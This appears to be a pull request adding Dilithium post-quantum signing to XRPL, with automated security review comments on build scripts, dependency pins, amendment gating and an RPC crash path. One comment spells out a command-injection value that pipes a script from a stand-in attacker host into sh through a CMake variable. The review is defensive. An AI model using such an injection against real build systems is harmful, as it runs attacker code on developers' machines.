[ALPHANET] Quantum

[dangell7]

High Level Overview of Change

Context of Change

Type of Change

• Bug fix (non-breaking change which fixes an issue)
• New feature (non-breaking change which adds functionality)
• Breaking change (fix or feature that would cause existing functionality to not work as expected)
• Refactor (non-breaking change that only restructures code)
• Performance (increase or change in throughput and/or latency)
• Tests (you added tests for code that already exists, or your new feature included in this PR)
• Documentation update
• Chore (no impact to binary, e.g. .gitignore, formatting, dropping support for older tooling)
• Release

API Impact

• Public API: New feature (new methods and/or new fields)
• Public API: Breaking change (in general, breaking changes should only impact the next api_version)
• libxrpl change (any change that may affect libxrpl or dependents of libxrpl)
• Peer protocol change (must be backward compatible or bump the peer protocol version)

[sentinel-ai-reviewer]

The comment asserting that randombytes.c is not linked from Dilithium is unsupported by any actual build-system enforcement: no PATCH_COMMAND, no ar d randombytes.o, and no linker flag exists anywhere in the cmake tree to exclude that object. The upstream Makefile compiles randombytes.c into libdilithium2_ref.a by default, meaning both definitions of randombytes are present at final link time. Whether SecretKey.cpp's crypto_prng()-backed version wins over the library's direct /dev/urandom reader depends on emergent linker behavior — object-file order, whether xrpl.libxrpl is static or shared, and LTO settings — none of which are stable across toolchains or build types. Add an explicit COMMAND ${CMAKE_AR} d <BINARY_DIR>/ref/libdilithium2_ref.a randombytes.o post-build step, or apply a PATCH_COMMAND to remove randombytes.c from the upstream Makefile's SOURCES, and add a CI check that verifies the symbol is absent from the archive.

Suggested fix

Add a post-build ar command to strip the symbol from the archive: COMMAND ${CMAKE_AR} d <BINARY_DIR>/ref/libdilithium2_ref.a randombytes.o. Alternatively, apply a PATCH_COMMAND that edits the upstream Makefile to exclude randombytes.c from SOURCES before compilation. In either case, add a CI step that runs nm -A libdilithium2_ref.a | grep -c randombytes and asserts the count is 0.

[sentinel-ai-reviewer]

The build step wraps make inside /bin/sh -c "... make -C <BINARY_DIR>/ref ...", placing the CMake-expanded <BINARY_DIR> directly inside a double-quoted shell string. <BINARY_DIR> is derived from PREFIX ${nih_cache_path}, and nih_cache_path is undefined everywhere in the repository — making it silently -D-settable at cmake configure time. A cmake invocation with -Dnih_cache_path='$(curl attacker.com/payload.sh|sh) #' causes CMake to compose a <BINARY_DIR> path containing the injected content, which the shell then evaluates. The /bin/sh -c wrapper is unnecessary: replace it with COMMAND ${CMAKE_COMMAND} -E env "CFLAGS=-DDILITHIUM_MODE=2 -DDILITHIUM_RANDOMIZED_SIGNING" make -C <BINARY_DIR>/ref libdilithium2_ref.a libfips202_ref.a, which is injection-free because CMake handles the argument list without a shell.

Suggested fix

Eliminate the /bin/sh -c wrapper. Use: BUILD_COMMAND COMMAND ${CMAKE_COMMAND} -E env "CFLAGS=-DDILITHIUM_MODE=2 -DDILITHIUM_RANDOMIZED_SIGNING" make -C <BINARY_DIR>/ref clean COMMAND ${CMAKE_COMMAND} -E env "CFLAGS=-DDILITHIUM_MODE=2 -DDILITHIUM_RANDOMIZED_SIGNING" make -C <BINARY_DIR>/ref libdilithium2_ref.a libfips202_ref.a. This passes arguments directly to the build tool without shell interpolation.

[sentinel-ai-reviewer]

The file opens with include(FetchContent) but never calls a single FetchContent_* function — it uses ExternalProject_Add throughout, which is provided by the ExternalProject module, not FetchContent. These are completely separate CMake modules with different lifecycle semantics (FetchContent populates at configure time; ExternalProject builds at build time). The file works today only because CMakeLists.txt happens to include(ExternalProject) at line 51 before reaching this file at line 83 — a fragile implicit dependency on include ordering. Any reuse of this file in a different context, or any reordering of includes in CMakeLists.txt, would produce 'Unknown CMake command ExternalProject_Add'.

Suggested fix

Define nih_cache_path before this file is included — e.g., set(nih_cache_path "${CMAKE_BINARY_DIR}/nih_c") in CMakeLists.txt following the pattern used by upstream rippled for other external dependencies, or replace the reference with a concrete path variable that actually exists in the build graph.

[sentinel-ai-reviewer]

The Conan recipe revision for secp256k1 changed from b1f450b7f78a36fff75bb6934a356f3a to 481881709eb0bdd0185a12b912bbe8ad while the library version stayed at 0.7.1. A recipe revision change in Conan means the build recipe was modified — different compile flags, applied or removed patches, changed dependency linkage — without bumping the library version. secp256k1 is on the hot path for all XRPL ECDSA transaction signing (SecretKey.cpp secp256k1_ecdsa_sign) and verification (PublicKey.cpp secp256k1_ecdsa_verify), and there is no cmake/deps/secp256k1.cmake to independently control compile flags — the Conan recipe is the sole source of truth for how the library is built. In a PR adding Dilithium alongside secp256k1, an unexplained recipe change to the ECDSA library requires explicit confirmation that no constant-time guarantees or side-channel hardening were removed.

Suggested fix

Diff the XRPLF conan-center-index recipe between revisions b1f450b7f78a36fff75bb6934a356f3a and 481881709eb0bdd0185a12b912bbe8ad for secp256k1/0.7.1. Confirm all compile-time hardening flags are identical or improved. Document the reason for the recipe revision change in the PR description.

[sentinel-ai-reviewer]

gRPC is downgraded three minor versions from 1.81.1 to 1.78.1 without documentation. The XRPL overlay uses gRPC with mutual TLS (GRPC_SSL_REQUEST_AND_REQUIRE_CLIENT_CERTIFICATE_AND_VERIFY in GRPCServer.cpp) and SslServerCredentials for all peer-to-peer validator communication including consensus messages and validator list propagation. A three-minor-version rollback spans months of security patches — HTTP/2 CONTINUATION flood mitigations, certificate chain validation fixes, and TLS renegotiation hardening have all appeared in gRPC minor releases in this range. This rollback should have an explicit justification and a review of the gRPC changelog from 1.78.1 through 1.81.1 confirming no security-relevant fixes are being abandoned.

Suggested fix

Restore grpc/1.81.1 or document the specific build incompatibility requiring the downgrade. Review gRPC security advisories and changelogs for versions 1.79 through 1.81 and confirm no relevant HTTP/2, TLS, or certificate-handling fixes affect XRPL's peer communication paths.

[sentinel-ai-reviewer]

OpenSSL is rolled back from 3.6.3 to 3.6.2 in a PR that specifically modifies the cryptographic signing pipeline to add post-quantum signatures. OpenSSL is the foundation of the entire XRPL security stack here: peer TLS handshakes use SSL_get_finished/SSL_get_peer_finished to derive identity cookies (Handshake.cpp), gRPC uses SslServerCredentials with mutual TLS, RAND_bytes is the primary CSPRNG for all key generation (csprng.cpp), and SHA-256/SHA-512/RIPEMD-160 all run through OpenSSL EVP. Rolling back a patch release of a security library during a crypto-critical PR reintroduces any CVEs fixed in 3.6.3; verify the 3.6.2→3.6.3 security advisory list before merging and restore the higher version unless a documented build incompatibility forces the downgrade.

Suggested fix

Restore openssl/3.6.3 or higher. If a build incompatibility requires 3.6.2, document it explicitly and confirm that no security advisories in 3.6.3 affect XRPL's usage paths: TLS peer connections, RAND_bytes-based key generation, gRPC SslServerCredentials, and EVP digest functions.

[sentinel-ai-reviewer]

The Conan registry URL has been migrated from conan.xrplf.org/repository/conan/ (the XRPL Foundation's Nexus repository) to conan.ripplex.io — a different organizational domain with a completely different URL structure (no explicit repository path, suggesting a different server type). This remote is registered at --index 0, giving it highest resolution priority over all other remotes. This script's purpose is to regenerate the lockfile from scratch, meaning Conan will accept whatever package references this server returns and write them into conan.lock, which all subsequent builds then pin to. If this domain is not under equivalent security controls as the previous XRPL Foundation registry, or if the domain transfer was not formally verified, a compromised or substituted registry could silently poison the lockfile with malicious package revisions that propagate to every developer and CI build.

Suggested fix

Verify that conan.ripplex.io is formally owned and operated by Ripple/XRPLF under the same access controls as the previous registry. Document the migration rationale in the PR. Consider adding a checksum or signature verification step after lockfile regeneration, and ensure the new server enforces the same recipe patching guarantees that motivated the --index 0 priority (as noted in the comment above the command).

[sentinel-ai-reviewer]

The condition compiler_version < 13 compares a string against an integer literal. compiler_version is populated from detect_api.detect_default_compiler() and detect_api.default_compiler_version(), both of which return plain Python strings in Conan 2.x — confirmed by the lockfile profiles (e.g. compiler.version=13). On any GCC host, compiler == "gcc" passes and Jinja2 evaluates the str-vs-int comparison, which raises TypeError in Python 3 and causes the entire profile to fail to render. The -Wno-restrict suppression that was intended to paper over a GCC < 13 false-positive therefore never reaches the compilers that need it, and worse, the profile is broken for all GCC users. Fix by quoting the literal (compiler_version < "13") for a lexicographic comparison — this is safe for two-digit GCC major versions — or use compiler_version | int < 13 in Jinja2 for explicit integer conversion.

Suggested fix

Change the comparison to use a string literal: {% if compiler == 'gcc' and compiler_version < '13' %}. Alternatively use Jinja2's int filter: {% if compiler == 'gcc' and (compiler_version | int) < 13 %}. Validate by running conan profile show --profile default on a GCC 12 and GCC 13 system before merging.

[sentinel-ai-reviewer]

The dilithium library is fetched from https://github.com/Transia-RnD/dilithium.git, a private Transia-RnD fork of the NIST reference implementation, with no content integrity verification — no URL_HASH SHA256 or equivalent. Only a git commit SHA pins the dependency, which provides no protection if the fork repository is force-pushed, if the GitHub account is compromised, or if the CI environment DNS-spoofs the host. This library is linked unconditionally into xrpl_libs, making it a hard dependency of every rippled node's post-quantum key generation and signing path — a supply-chain compromise silently backdoors all Dilithium validator key material across every build. Replace the GIT_REPOSITORY fetch with a URL pointing to a pinned release tarball from the upstream pq-crystals/dilithium reference repository, combined with URL_HASH SHA256=<hash> verification, or vendor the code as a reviewed git submodule.

Suggested fix

Use FetchContent or ExternalProject_Add with a pinned tarball URL from the upstream pq-crystals/dilithium official repository and a URL_HASH SHA256=... computed out-of-band against that specific release. Alternatively, vendor the code as a git submodule with the commit pinned in .gitmodules so every clone has an auditable history. Add a post-build KAT step to verify the compiled artifact produces correct known-answer test outputs before linking it into xrpl_libs.

[sentinel-ai-reviewer]

The Dilithium library is compiled with -DDILITHIUM_MODE=2 -DDILITHIUM_RANDOMIZED_SIGNING via raw CFLAGS inside the ExternalProject_Add build command, but these definitions are never propagated to CMake consumers via target_compile_definitions(... INTERFACE ...) on dilithium::dilithium2_ref. Adding NIH::dilithium2_ref to xrpl.imports.main as INTERFACE places the Dilithium ref/ headers on every downstream target's include path without the matching compile definitions — any translation unit that includes params.h without DILITHIUM_MODE=2 sees the Mode 3 defaults (CRYPTO_PUBLICKEYBYTES=1952, CRYPTO_SECRETKEYBYTES=4000), while the compiled archive only produces 1312-byte keys; the #ifndef CRYPTO_PUBLICKEYBYTES fallback guards in SecretKey.cpp and PublicKey.cpp are dead because params.h is explicitly #included first and defines the macro unconditionally. The fix is to add target_compile_definitions(dilithium::dilithium2_ref INTERFACE DILITHIUM_MODE=2 DILITHIUM_RANDOMIZED_SIGNING) in cmake/deps/dilithium.cmake and add a static_assert(CRYPTO_PUBLICKEYBYTES == 1312) guard at each Dilithium inclusion site.

Suggested fix

In cmake/deps/dilithium.cmake, after set_target_properties(dilithium::dilithium2_ref ...), add: target_compile_definitions(dilithium::dilithium2_ref INTERFACE DILITHIUM_MODE=2 DILITHIUM_RANDOMIZED_SIGNING). Add static_assert(CRYPTO_PUBLICKEYBYTES == 1312 && CRYPTO_SECRETKEYBYTES == 2528) in SecretKey.cpp and PublicKey.cpp immediately after the Dilithium headers are included to catch any future mode drift at compile time.

[sentinel-ai-reviewer]

The BUILD_COMMAND assigns CFLAGS via CFLAGS='...' — a bare environment-variable assignment — containing only the two preprocessor defines. This clobbers any inherited flags before invoking make, so the Dilithium reference library is compiled without rippled's own -fstack-protector (set via XrplCompiler.cmake on the common INTERFACE) or CMake's -fPIC (from CMAKE_POSITION_INDEPENDENT_CODE=ON), nor would sanitizer flags from the conan/profiles/sanitizers profile ever reach it. Because verifyDigest() in PublicKey.cpp passes peer-supplied signature bytes directly into this library and it ships inside the final xrpld binary, any latent buffer-handling bug in the reference implementation lacks the stack-canary protection that every other rippled translation unit receives. Append the parent flags rather than replacing them: CFLAGS='${CMAKE_C_FLAGS} -DDILITHIUM_MODE=2 -DDILITHIUM_RANDOMIZED_SIGNING'.

Suggested fix

Change the CFLAGS assignment to CFLAGS='${CMAKE_C_FLAGS} -DDILITHIUM_MODE=2 -DDILITHIUM_RANDOMIZED_SIGNING' inside the /bin/sh -c invocation, and also pass -fstack-protector explicitly if CMAKE_C_FLAGS does not include it in all build configurations. This ensures the Dilithium build inherits the same stack protection and PIC/PIC settings as the rest of rippled.

[sentinel-ai-reviewer]

The featureQuantum amendment is declared in features.macro but has zero references anywhere in the production codebase — no view.rules().enabled(featureQuantum) guard exists in transaction signing, manifest parsing, peer handshake verification, or consensus validation. Adding KeyType::Dilithium as a parseable and recognized type makes Dilithium acceptance unconditionally active on every network: a peer submitting a transaction with a 1312-byte Dilithium public key, a validator manifest signed with a Dilithium master key, or a Dilithium-signed consensus proposal will be cryptographically verified and accepted by any node running this build, regardless of whether the amendment has been voted in. Unpatched nodes will reject the same data, causing irreconcilable ledger divergence.

Suggested fix

Wire every Dilithium acceptance point to view.rules().enabled(featureQuantum) before this key type is exposed. Required gate locations: publicKeyType() in PublicKey.cpp, Transactor::checkSign(), manifest deserialization in Manifest.cpp, peer handshake in Handshake.cpp, and STValidation signature verification. Until those gates are in place, keyTypeFromString must not return KeyType::Dilithium on production builds.

[sentinel-ai-reviewer]

Adding 'dilithium' as a parseable key_type string creates a remote process-termination vulnerability. channel_authorize is a publicly accessible RPC method (Role::USER) that routes key_type through keyTypeFromString into keypairForSignature, which calls logicError — implemented as std::abort() — when it encounters KeyType::Dilithium, because its allowlist is still restricted to Secp256k1 and Ed25519. Before this diff, keyTypeFromString('dilithium') returned an empty optional, causing keypairForSignature to return a proper RPC error response; now it returns KeyType::Dilithium, which passes the early parse check and reaches the fatal assertion. Any unauthenticated client can crash a publicly-reachable rippled node with a single JSON-RPC request.

Suggested fix

Do not add 'dilithium' to keyTypeFromString until all consumers — specifically keypairForSignature in RPCHelpers.cpp — are updated to handle it as a user-facing error rather than a logic invariant violation. In the interim, change the guard at RPCHelpers.cpp:338 to return an RPC error code instead of calling logicError for key types it does not yet support.

[sentinel-ai-reviewer]

The constructor lower-bounds slice.size() against kSize (33) but has no upper-bound check against sizeof(buf_) (1312) before the unconditional std::memcpy(buf_, slice.data(), size_). Safety today depends entirely on publicKeyType only recognising slices of exactly 33 or 1312 bytes; the memcpy itself has no independent guard. If a future post-quantum variant (e.g. Dilithium3 at 1952 bytes) is added to publicKeyType without also expanding buf_, the copy silently overflows the stack buffer, corrupting adjacent frames. The fix is a single explicit guard inserted before the memcpy: if (slice.size() > sizeof(buf_)) logicError("PublicKey::PublicKey - Input slice exceeds buffer");.

Suggested fix

In PublicKey.cpp, add if (slice.size() > sizeof(buf_)) logicError("PublicKey::PublicKey - Input slice exceeds buffer"); immediately after the existing lower-bound check and before the publicKeyType() call. This makes the safety invariant explicit and locally enforced rather than depending on publicKeyType() remaining the sole gatekeeper.

[sentinel-ai-reviewer]

The comment added here explicitly frames Dilithium acceptance as a post-amendment behavior during a rolling upgrade, but featureQuantum — declared in features.macro with VoteBehavior::DefaultNo — is never consulted anywhere in the codebase (zero references in src/). Upgraded nodes unconditionally accept and relay Dilithium-keyed validations from peers the moment this code ships, regardless of whether the Quantum amendment has activated across the network. During a mixed deployment, a validator that switches to a Dilithium key before the amendment clears the required support threshold will have its votes counted by upgraded nodes but discarded as unparseable by non-upgraded nodes, creating divergent trusted-validator-set views that can contribute to a consensus split without any formal network vote. The fix belongs at the deserialization call site in PeerImp::onMessage(TMValidation): check that featureQuantum is active in the current ledger before constructing an STValidation from a peer message carrying a Dilithium-sized signing key.

Suggested fix

Gate Dilithium validation acceptance on featureQuantum activation. Since the deserialization constructor has no access to ledger rules, add the check at the call site in PeerImp::onMessage(TMValidation) before constructing the STValidation object: if the raw signing public key field is 1312 bytes (Dilithium) and featureQuantum is not yet active in the current ledger, discard the message and charge the peer a fee as with any other malformed message. Alternatively, pass a std::optional<Rules> into the constructor and reject KeyType::Dilithium when the amendment is absent. featureQuantum is already declared — it just needs to be wired into the enforcement path.

[sentinel-ai-reviewer]

The diff comment explicitly describes this as a 'pre-amendment / post-amendment' change, yet the Quantum amendment declared in features.macro is a dead symbol — featureQuantum is never referenced anywhere in the codebase. Both constructors, isValid(), PeerImp::checkValidation, PeerImp::onMessage(TMValidation), and handleNewValidation in RCLValidations.cpp all accept Dilithium-signed validations unconditionally, with no rules().enabled(featureQuantum) gate anywhere in the chain. This means the Dilithium upgrade is not coordinated through XRPL's amendment mechanism at all: the moment a validator switches to a Dilithium key, its validations are accepted and counted toward consensus by all upgraded peers regardless of whether the network has voted in the Quantum amendment. Either wire up featureQuantum checks in the validation acceptance path (or document explicitly that the upgrade is intentionally ungated at the consensus layer), and remove the misleading 'post-amendment' language from the comments.

Suggested fix

Either (a) generate the featureQuantum symbol from features.macro and add rules().enabled(featureQuantum) gates in the deserialization constructor and/or in PeerImp::checkValidation / handleNewValidation before counting Dilithium validations toward consensus, or (b) remove the Quantum entry from features.macro and update the comments to accurately reflect that Dilithium support is a wire-protocol-level change not gated by an amendment.